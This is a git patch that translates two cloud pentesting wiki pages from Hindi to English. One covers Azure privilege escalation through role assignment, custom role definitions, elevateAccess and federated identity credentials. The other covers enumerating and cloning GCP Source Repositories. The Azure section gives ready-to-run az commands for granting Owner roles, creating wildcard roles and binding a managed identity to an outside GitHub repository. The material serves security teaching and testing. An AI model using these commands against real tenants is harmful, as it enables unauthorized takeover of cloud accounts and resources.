From 213d03c0bcbfb6a4d63797b73228906b528fb2ed Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 9 Jan 2025 01:06:20 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-authorization-privesc.md | 58 +++++++++++-------- .../gcp-source-repositories-enum.md | 51 ++++++++-------- 2 files changed, 63 insertions(+), 46 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 51cce764d..3076c610d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,7 +4,7 @@ ## Azure IAM -अधिक जानकारी के लिए देखें: +Fore more information check: {{#ref}} ../az-services/az-azuread.md @@ -12,38 +12,45 @@ ### Microsoft.Authorization/roleAssignments/write -यह अनुमति विशेष दायरे में प्रिंसिपल को भूमिकाएँ सौंपने की अनुमति देती है, जिससे एक हमलावर को अधिक विशेषाधिकार प्राप्त भूमिका सौंपकर विशेषाधिकार बढ़ाने की अनुमति मिलती है: +This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role: + ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` + ### Microsoft.Authorization/roleDefinitions/Write -यह अनुमति एक भूमिका द्वारा दी गई अनुमतियों को संशोधित करने की अनुमति देती है, जिससे एक हमलावर को अधिक अनुमतियाँ देने के द्वारा विशेषाधिकार बढ़ाने की अनुमति मिलती है जिसे उसने सौंपा है। +This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned. + +Create the file `role.json` with the following **content**: -फाइल `role.json` निम्नलिखित **सामग्री** के साथ बनाएं: ```json { -"Name": "", -"IsCustom": true, -"Description": "Custom role with elevated privileges", -"Actions": ["*"], -"NotActions": [], -"DataActions": ["*"], -"NotDataActions": [], -"AssignableScopes": ["/subscriptions/"] + "Name": "", + "IsCustom": true, + "Description": "Custom role with elevated privileges", + "Actions": ["*"], + "NotActions": [], + "DataActions": ["*"], + "NotDataActions": [], + "AssignableScopes": ["/subscriptions/"] } ``` -फिर पिछले परिभाषा को कॉल करते हुए भूमिका अनुमतियों को अपडेट करें: + +Then update the role permissions with the previous definition calling: + ```bash az role definition update --role-definition role.json ``` + ### Microsoft.Authorization/elevateAccess/action -यह अनुमति विशेषाधिकार बढ़ाने और Azure संसाधनों के लिए किसी भी प्रिंसिपल को अनुमतियाँ असाइन करने की अनुमति देती है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure संसाधनों पर अनुमतियों का प्रबंधन कर सकें। +This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources. > [!TIP] -> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entra ID में Global Administrator होना चाहिए। +> I think the user need to be Global Administrator in Entrad ID for the elevate call to work. + ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -51,22 +58,27 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au # Grant a user the Owner role az role assignment create --assignee "" --role "Owner" --scope "/" ``` + ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -यह अनुमति प्रबंधित पहचान में संघीय क्रेडेंशियल जोड़ने की अनुमति देती है। उदाहरण के लिए, एक प्रबंधित पहचान को एक रिपॉजिटरी में Github Actions तक पहुंच देने के लिए। फिर, यह **किसी भी उपयोगकर्ता द्वारा परिभाषित प्रबंधित पहचान** तक पहुंच की अनुमति देता है। +This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**. + +Example command to give access to a repo in Github to the a managed identity: -Github में एक रिपॉजिटरी को प्रबंधित पहचान तक पहुंच देने के लिए उदाहरण कमांड: ```bash # Generic example: az rest --method PUT \ ---uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ ---headers "Content-Type=application/json" \ ---body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' + --uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ + --headers "Content-Type=application/json" \ + --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' # Example with specific data: az rest --method PUT \ ---uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ ---headers "Content-Type=application/json" \ ---body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' + --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ + --headers "Content-Type=application/json" \ + --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` + {{#include ../../../banners/hacktricks-training.md}} + + diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md index 81612d370..3f40c6ca6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md @@ -1,37 +1,38 @@ -# GCP - स्रोत रिपॉजिटरी एनम +# GCP - Source Repositories Enum {{#include ../../../banners/hacktricks-training.md}} -## बुनियादी जानकारी +## Basic Information -Google Cloud Source Repositories एक पूर्ण विशेषताओं वाला, स्केलेबल, **निजी Git रिपॉजिटरी सेवा** है। इसे **आपके स्रोत कोड को पूरी तरह से प्रबंधित वातावरण में होस्ट करने** के लिए डिज़ाइन किया गया है, जो अन्य GCP उपकरणों और सेवाओं के साथ सहजता से एकीकृत होता है। यह टीमों के लिए अपने कोड को स्टोर, प्रबंधित और ट्रैक करने के लिए एक सहयोगी और सुरक्षित स्थान प्रदान करता है। +Google Cloud Source Repositories is a fully-featured, scalable, **private Git repository service**. It's designed to **host your source code in a fully managed environment**, integrating seamlessly with other GCP tools and services. It offers a collaborative and secure place for teams to store, manage, and track their code. -Cloud Source Repositories की प्रमुख विशेषताएँ शामिल हैं: +Key features of Cloud Source Repositories include: -1. **पूर्ण प्रबंधित Git होस्टिंग**: Git की परिचित कार्यक्षमता प्रदान करता है, जिसका अर्थ है कि आप नियमित Git कमांड और वर्कफ़्लो का उपयोग कर सकते हैं। -2. **GCP सेवाओं के साथ एकीकरण**: कोड से डिप्लॉयमेंट तक अंत-से-अंत ट्रेसबिलिटी के लिए Cloud Build, Pub/Sub, और App Engine जैसी अन्य GCP सेवाओं के साथ एकीकृत होता है। -3. **निजी रिपॉजिटरी**: सुनिश्चित करता है कि आपका कोड सुरक्षित और निजी रूप से स्टोर किया गया है। आप Cloud Identity और Access Management (IAM) भूमिकाओं का उपयोग करके एक्सेस को नियंत्रित कर सकते हैं। -4. **स्रोत कोड विश्लेषण**: आपके स्रोत कोड का स्वचालित विश्लेषण प्रदान करने के लिए अन्य GCP उपकरणों के साथ काम करता है, संभावित मुद्दों जैसे बग, कमजोरियों, या खराब कोडिंग प्रथाओं की पहचान करता है। -5. **सहयोग उपकरण**: मर्ज अनुरोध, टिप्पणियाँ, और समीक्षाओं जैसे उपकरणों के साथ सहयोगात्मक कोडिंग का समर्थन करता है। -6. **मिरर समर्थन**: आपको Cloud Source Repositories को GitHub या Bitbucket पर होस्ट किए गए रिपॉजिटरी के साथ कनेक्ट करने की अनुमति देता है, स्वचालित समन्वय सक्षम करता है और आपके सभी रिपॉजिटरी का एकीकृत दृश्य प्रदान करता है। +1. **Fully Managed Git Hosting**: Offers the familiar functionality of Git, meaning you can use regular Git commands and workflows. +2. **Integration with GCP Services**: Integrates with other GCP services like Cloud Build, Pub/Sub, and App Engine for end-to-end traceability from code to deployment. +3. **Private Repositories**: Ensures your code is stored securely and privately. You can control access using Cloud Identity and Access Management (IAM) roles. +4. **Source Code Analysis**: Works with other GCP tools to provide automated analysis of your source code, identifying potential issues like bugs, vulnerabilities, or bad coding practices. +5. **Collaboration Tools**: Supports collaborative coding with tools like merge requests, comments, and reviews. +6. **Mirror Support**: Allows you to connect Cloud Source Repositories with repositories hosted on GitHub or Bitbucket, enabling automatic synchronization and providing a unified view of all your repositories. -### OffSec जानकारी +### OffSec information -- एक प्रोजेक्ट के अंदर स्रोत रिपॉजिटरी कॉन्फ़िगरेशन में एक **सेवा खाता** होगा जिसका उपयोग Cloud Pub/Sub संदेशों को प्रकाशित करने के लिए किया जाएगा। उपयोग में लिया जाने वाला डिफ़ॉल्ट **Compute SA** है। हालाँकि, **मुझे नहीं लगता कि इसका टोकन Source Repositories से चुराना संभव है** क्योंकि यह बैकग्राउंड में निष्पादित हो रहा है। -- GCP Cloud Source Repositories वेब कंसोल ([https://source.cloud.google.com/](https://source.cloud.google.com/)) के अंदर कोड देखने के लिए, आपको कोड को **डिफ़ॉल्ट रूप से मास्टर ब्रांच के अंदर होना चाहिए**। -- आप **Github** या **Bitbucket** से एक रेपो की ओर इशारा करते हुए **एक मिरर क्लाउड रिपॉजिटरी** भी **बना सकते हैं** (उन प्लेटफार्मों को एक्सेस देते हुए)। -- **GCP के अंदर कोड और डिबग करना संभव है**। -- डिफ़ॉल्ट रूप से, Source Repositories **कमिट में निजी कुंजियों को पुश करने से रोकता है**, लेकिन इसे अक्षम किया जा सकता है। +- The source repositories configuration inside a project will have a **Service Account** used to publishing Cloud Pub/Sub messages. The default one used is the **Compute SA**. However, **I don't think it's possible steal its token** from Source Repositories as it's being executed in the background. +- To see the code inside the GCP Cloud Source Repositories web console ([https://source.cloud.google.com/](https://source.cloud.google.com/)), you need the code to be **inside master branch by default**. +- You can also **create a mirror Cloud Repository** pointing to a repo from **Github** or **Bitbucket** (giving access to those platforms). +- It's possible to **code & debug from inside GCP**. +- By default, Source Repositories **prevents private keys to be pushed in commits**, but this can be disabled. -### क्लाउड शेल में खोलें +### Open In Cloud Shell -क्लाउड शेल में रिपॉजिटरी खोलना संभव है, ऐसा प्रॉम्प्ट दिखाई देगा: +It's possible to open the repository in Cloud Shell, a prompt like this one will appear:
-यह आपको क्लाउड शेल में कोड और डिबग करने की अनुमति देगा (जो क्लाउडशेल को समझौता कर सकता है)। +This will allow you to code and debug in Cloud Shell (which could get cloudshell compromised). + +### Enumeration -### एनमरेशन ```bash # Repos enumeration gcloud source repos list #Get names and URLs @@ -42,7 +43,7 @@ gcloud source repos get-iam-policy gcloud source repos clone gcloud source repos get-iam-policy ... git add & git commit -m ... -git push --set-upstream origin master +git push --set-upstream origin $BRANCH git push -u origin master # Access via git @@ -50,16 +51,20 @@ git push -u origin master git clone ssh://username@domain.com@source.developers.google.com:2022/p//r/ git add, commit, push... ``` -### विशेषाधिकार वृद्धि और पोस्ट शोषण + +### Privilege Escalation & Post Exploitation {{#ref}} ../gcp-privilege-escalation/gcp-sourcerepos-privesc.md {{#endref}} -### अनधिकृत Enum +### Unauthenticated Enum {{#ref}} ../gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} + + +